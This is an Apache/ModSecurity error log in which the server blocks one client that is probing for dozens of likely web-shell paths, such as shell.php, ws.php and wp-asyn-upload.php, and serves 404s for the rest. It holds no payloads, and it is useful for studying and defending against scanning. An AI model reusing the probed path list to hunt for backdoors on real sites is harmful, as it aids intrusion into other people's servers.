[Sat Apr 11 08:00:50.144186 2026] [:error] [pid 15244:tid 15249] [client 158.158.33.175:20398] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws61.php"] [unique_id "admPMokdEsz5NeAq8w2f-gAAAQM"]
[Sat Apr 11 08:00:50.623646 2026] [:error] [pid 33171:tid 33207] [client 158.158.33.175:62410] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws61.php"] [unique_id "admPMroqTMlo30hcVw-W6AAAABU"]
[Sat Apr 11 08:00:51.108083 2026] [:error] [pid 33288:tid 33313] [client 158.158.33.175:20401] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws61.php"] [unique_id "admPM2JmwJFFPEgRHfGjYQAAANc"]
[Sat Apr 11 08:00:51.610778 2026] [:error] [pid 15244:tid 15253] [client 158.158.33.175:16674] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws61.php"] [unique_id "admPM4kdEsz5NeAq8w2f_wAAAQc"]
[Sat Apr 11 08:00:52.148450 2026] [:error] [pid 15244:tid 15250] [client 158.158.33.175:16469] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iyy.php"] [unique_id "admPNIkdEsz5NeAq8w2gAQAAAQQ"]
[Sat Apr 11 08:00:52.632294 2026] [:error] [pid 33173:tid 33250] [client 158.158.33.175:20259] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iyy.php"] [unique_id "admPNK8109xRDP2izWgk1wAAAIU"]
[Sat Apr 11 08:00:53.123683 2026] [:error] [pid 15244:tid 15254] [client 158.158.33.175:8317] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iyy.php"] [unique_id "admPNYkdEsz5NeAq8w2gCAAAAQg"]
[Sat Apr 11 08:00:53.637695 2026] [:error] [pid 15244:tid 15264] [client 158.158.33.175:20258] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iyy.php"] [unique_id "admPNYkdEsz5NeAq8w2gDAAAARI"]
[Sat Apr 11 08:00:54.159598 2026] [:error] [pid 15244:tid 15269] [client 158.158.33.175:16504] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/900.php"] [unique_id "admPNokdEsz5NeAq8w2gEAAAARc"]
[Sat Apr 11 08:00:54.636533 2026] [:error] [pid 15244:tid 15270] [client 158.158.33.175:62350] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/900.php"] [unique_id "admPNokdEsz5NeAq8w2gFgAAARg"]
[Sat Apr 11 08:00:55.156270 2026] [:error] [pid 15244:tid 15266] [client 158.158.33.175:14028] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/900.php"] [unique_id "admPN4kdEsz5NeAq8w2gGQAAARQ"]
[Sat Apr 11 08:00:55.632709 2026] [:error] [pid 33172:tid 33226] [client 158.158.33.175:14039] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/900.php"] [unique_id "admPNzn2G0IJw5EZY9l5PQAAAEg"]
[Sat Apr 11 08:00:56.112976 2026] [:error] [pid 33172:tid 33224] [client 158.158.33.175:16501] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blsvgeyaza.php"] [unique_id "admPODn2G0IJw5EZY9l5QAAAAEY"]
[Sat Apr 11 08:00:56.627413 2026] [:error] [pid 33288:tid 33310] [client 158.158.33.175:14023] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blsvgeyaza.php"] [unique_id "admPOGJmwJFFPEgRHfGjfQAAANQ"]
[Sat Apr 11 08:00:57.110608 2026] [:error] [pid 15244:tid 15265] [client 158.158.33.175:10356] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blsvgeyaza.php"] [unique_id "admPOYkdEsz5NeAq8w2gHgAAARM"]
[Sat Apr 11 08:00:57.604651 2026] [:error] [pid 15244:tid 15254] [client 158.158.33.175:14083] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blsvgeyaza.php"] [unique_id "admPOYkdEsz5NeAq8w2gIgAAAQg"]
[Sat Apr 11 08:00:58.128950 2026] [:error] [pid 33288:tid 33300] [client 158.158.33.175:14132] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gqhyti.php"] [unique_id "admPOmJmwJFFPEgRHfGjhQAAAMo"]
[Sat Apr 11 08:00:58.661215 2026] [:error] [pid 15244:tid 15253] [client 158.158.33.175:14128] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gqhyti.php"] [unique_id "admPOokdEsz5NeAq8w2gKAAAAQc"]
[Sat Apr 11 08:00:59.160563 2026] [:error] [pid 15244:tid 15249] [client 158.158.33.175:20232] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gqhyti.php"] [unique_id "admPO4kdEsz5NeAq8w2gKQAAAQM"]
[Sat Apr 11 08:00:59.650855 2026] [:error] [pid 15244:tid 15256] [client 158.158.33.175:24014] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gqhyti.php"] [unique_id "admPO4kdEsz5NeAq8w2gMQAAAQo"]
[Sat Apr 11 08:01:00.154765 2026] [:error] [pid 15244:tid 15259] [client 158.158.33.175:14088] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/autoxxi.php"] [unique_id "admPPIkdEsz5NeAq8w2gMwAAAQ0"]
[Sat Apr 11 08:01:00.658331 2026] [:error] [pid 15244:tid 15247] [client 158.158.33.175:8319] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/autoxxi.php"] [unique_id "admPPIkdEsz5NeAq8w2gNgAAAQE"]
[Sat Apr 11 08:01:01.172147 2026] [:error] [pid 15244:tid 15263] [client 158.158.33.175:24305] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/autoxxi.php"] [unique_id "admPPYkdEsz5NeAq8w2gPAAAARE"]
[Sat Apr 11 08:01:01.662527 2026] [:error] [pid 15244:tid 15251] [client 158.158.33.175:8276] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/autoxxi.php"] [unique_id "admPPYkdEsz5NeAq8w2gRAAAAQU"]
[Sat Apr 11 08:01:02.142882 2026] [:error] [pid 15244:tid 15268] [client 158.158.33.175:59192] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1144452145_error_log.php"] [unique_id "admPPokdEsz5NeAq8w2gSgAAARY"]
[Sat Apr 11 08:01:02.628944 2026] [:error] [pid 15244:tid 15267] [client 158.158.33.175:24034] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1144452145_error_log.php"] [unique_id "admPPokdEsz5NeAq8w2gTgAAARU"]
[Sat Apr 11 08:01:03.121458 2026] [:error] [pid 15244:tid 15251] [client 158.158.33.175:16664] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1144452145_error_log.php"] [unique_id "admPP4kdEsz5NeAq8w2gUAAAAQU"]
[Sat Apr 11 08:01:03.613054 2026] [:error] [pid 33172:tid 33239] [client 158.158.33.175:59192] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1144452145_error_log.php"] [unique_id "admPPzn2G0IJw5EZY9l5TgAAAFU"]
[Sat Apr 11 08:01:04.107200 2026] [:error] [pid 33171:tid 33199] [client 158.158.33.175:54908] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws48.php"] [unique_id "admPQLoqTMlo30hcVw-W-wAAAA0"]
[Sat Apr 11 08:01:04.652707 2026] [:error] [pid 33173:tid 33265] [client 158.158.33.175:24273] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws48.php"] [unique_id "admPQK8109xRDP2izWgk5QAAAJQ"]
[Sat Apr 11 08:01:05.242651 2026] [:error] [pid 33171:tid 33205] [client 158.158.33.175:16509] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws48.php"] [unique_id "admPQboqTMlo30hcVw-W_gAAABM"]
[Sat Apr 11 08:01:05.846896 2026] [:error] [pid 33171:tid 33189] [client 158.158.33.175:20287] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws48.php"] [unique_id "admPQboqTMlo30hcVw-W_wAAAAM"]
[Sat Apr 11 08:01:06.367343 2026] [:error] [pid 33288:tid 33303] [client 158.158.33.175:14137] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "admPQmJmwJFFPEgRHfGjnQAAAM0"]
[Sat Apr 11 08:01:06.863271 2026] [:error] [pid 15244:tid 15264] [client 158.158.33.175:10381] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "admPQokdEsz5NeAq8w2gYQAAARI"]
[Sat Apr 11 08:01:07.352934 2026] [:error] [pid 15244:tid 15251] [client 158.158.33.175:20387] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "admPQ4kdEsz5NeAq8w2gZgAAAQU"]
[Sat Apr 11 08:01:07.844996 2026] [:error] [pid 15244:tid 15254] [client 158.158.33.175:16507] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "admPQ4kdEsz5NeAq8w2gawAAAQg"]
[Sat Apr 11 08:01:08.333557 2026] [:error] [pid 15244:tid 15267] [client 158.158.33.175:20230] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/schallfuns.php"] [unique_id "admPRIkdEsz5NeAq8w2gcAAAARU"]
[Sat Apr 11 08:01:08.822148 2026] [:error] [pid 15244:tid 15260] [client 158.158.33.175:16455] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/schallfuns.php"] [unique_id "admPRIkdEsz5NeAq8w2gdQAAAQ4"]
[Sat Apr 11 08:01:09.367106 2026] [:error] [pid 33288:tid 33304] [client 158.158.33.175:10422] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/schallfuns.php"] [unique_id "admPRWJmwJFFPEgRHfGjpwAAAM4"]
[Sat Apr 11 08:01:09.867392 2026] [:error] [pid 33288:tid 33306] [client 158.158.33.175:24018] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/schallfuns.php"] [unique_id "admPRWJmwJFFPEgRHfGjqQAAANA"]
[Sat Apr 11 08:01:10.493377 2026] [:error] [pid 33173:tid 33249] [client 158.158.33.175:24293] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX1.php"] [unique_id "admPRq8109xRDP2izWgk7QAAAIQ"]
[Sat Apr 11 08:01:11.025378 2026] [:error] [pid 33288:tid 33294] [client 158.158.33.175:16688] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX1.php"] [unique_id "admPR2JmwJFFPEgRHfGjrQAAAMQ"]
[Sat Apr 11 08:01:11.501396 2026] [:error] [pid 33173:tid 33269] [client 158.158.33.175:14056] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX1.php"] [unique_id "admPR68109xRDP2izWgk7gAAAJg"]
[Sat Apr 11 08:01:11.982346 2026] [:error] [pid 15244:tid 15251] [client 158.158.33.175:14127] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX1.php"] [unique_id "admPR4kdEsz5NeAq8w2gjAAAAQU"]
[Sat Apr 11 08:01:12.464002 2026] [:error] [pid 33173:tid 33267] [client 158.158.33.175:16671] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/clasa99.php"] [unique_id "admPSK8109xRDP2izWgk8AAAAJY"]
[Sat Apr 11 08:01:12.959609 2026] [:error] [pid 15244:tid 15270] [client 158.158.33.175:10342] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/clasa99.php"] [unique_id "admPSIkdEsz5NeAq8w2glQAAARg"]
[Sat Apr 11 08:01:13.511251 2026] [:error] [pid 15244:tid 15252] [client 158.158.33.175:14116] File does not exist: /usr/local/apache/htdocs/suspended-page/clasa99.php
[Sat Apr 11 08:01:13.750643 2026] [:error] [pid 15244:tid 15250] [client 158.158.33.175:14116] File does not exist: /usr/local/apache/htdocs/suspended-page/myfilexxx.php
[Sat Apr 11 08:01:13.990061 2026] [:error] [pid 15244:tid 15261] [client 158.158.33.175:14116] File does not exist: /usr/local/apache/htdocs/suspended-page/karma_144a.php
[Sat Apr 11 08:01:14.232176 2026] [:error] [pid 15244:tid 15255] [client 158.158.33.175:14116] File does not exist: /usr/local/apache/htdocs/suspended-page/3586 b64.php
[Sat Apr 11 08:01:14.472748 2026] [:error] [pid 15244:tid 15246] [client 158.158.33.175:14116] File does not exist: /usr/local/apache/htdocs/suspended-page/ws.php
[Sat Apr 11 08:01:14.713110 2026] [:error] [pid 15244:tid 15251] [client 158.158.33.175:14116] File does not exist: /usr/local/apache/htdocs/suspended-page/bmi.php
[Sat Apr 11 08:01:14.953600 2026] [:error] [pid 15244:tid 15266] [client 158.158.33.175:14116] File does not exist: /usr/local/apache/htdocs/suspended-page/bypltspd.php
[Sat Apr 11 08:01:15.193968 2026] [:error] [pid 15244:tid 15263] [client 158.158.33.175:14116] File does not exist: /usr/local/apache/htdocs/suspended-page/shell.php
[Sat Apr 11 08:01:15.433368 2026] [:error] [pid 15244:tid 15262] [client 158.158.33.175:14116] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links-opml.php
[Sat Apr 11 08:01:15.913684 2026] [:error] [pid 15244:tid 15261] [client 158.158.33.175:14116] File does not exist: /usr/local/apache/htdocs/suspended-page/ws82.php
[Sat Apr 11 08:01:16.149476 2026] [:error] [pid 15244:tid 15254] [client 158.158.33.175:14116] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "admPTIkdEsz5NeAq8w2gqwAAAQg"]
[Sat Apr 11 08:01:17.007807 2026] [:error] [pid 33171:tid 33206] [client 158.158.33.175:14113] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "admPTboqTMlo30hcVw-XDQAAABQ"]
[Sat Apr 11 08:01:17.780065 2026] [:error] [pid 15244:tid 15264] [client 158.158.33.175:20260] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "admPTYkdEsz5NeAq8w2gsQAAARI"]
[Sat Apr 11 08:01:18.326919 2026] [:error] [pid 33288:tid 33303] [client 158.158.33.175:29829] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "admPTmJmwJFFPEgRHfGjxgAAAM0"]
[Sat Apr 11 08:01:18.860621 2026] [:error] [pid 33288:tid 33308] [client 158.158.33.175:24017] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "admPTmJmwJFFPEgRHfGjzQAAANI"]
[Sat Apr 11 08:01:19.443076 2026] [:error] [pid 15244:tid 15249] [client 158.158.33.175:10336] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "admPT4kdEsz5NeAq8w2gugAAAQM"]
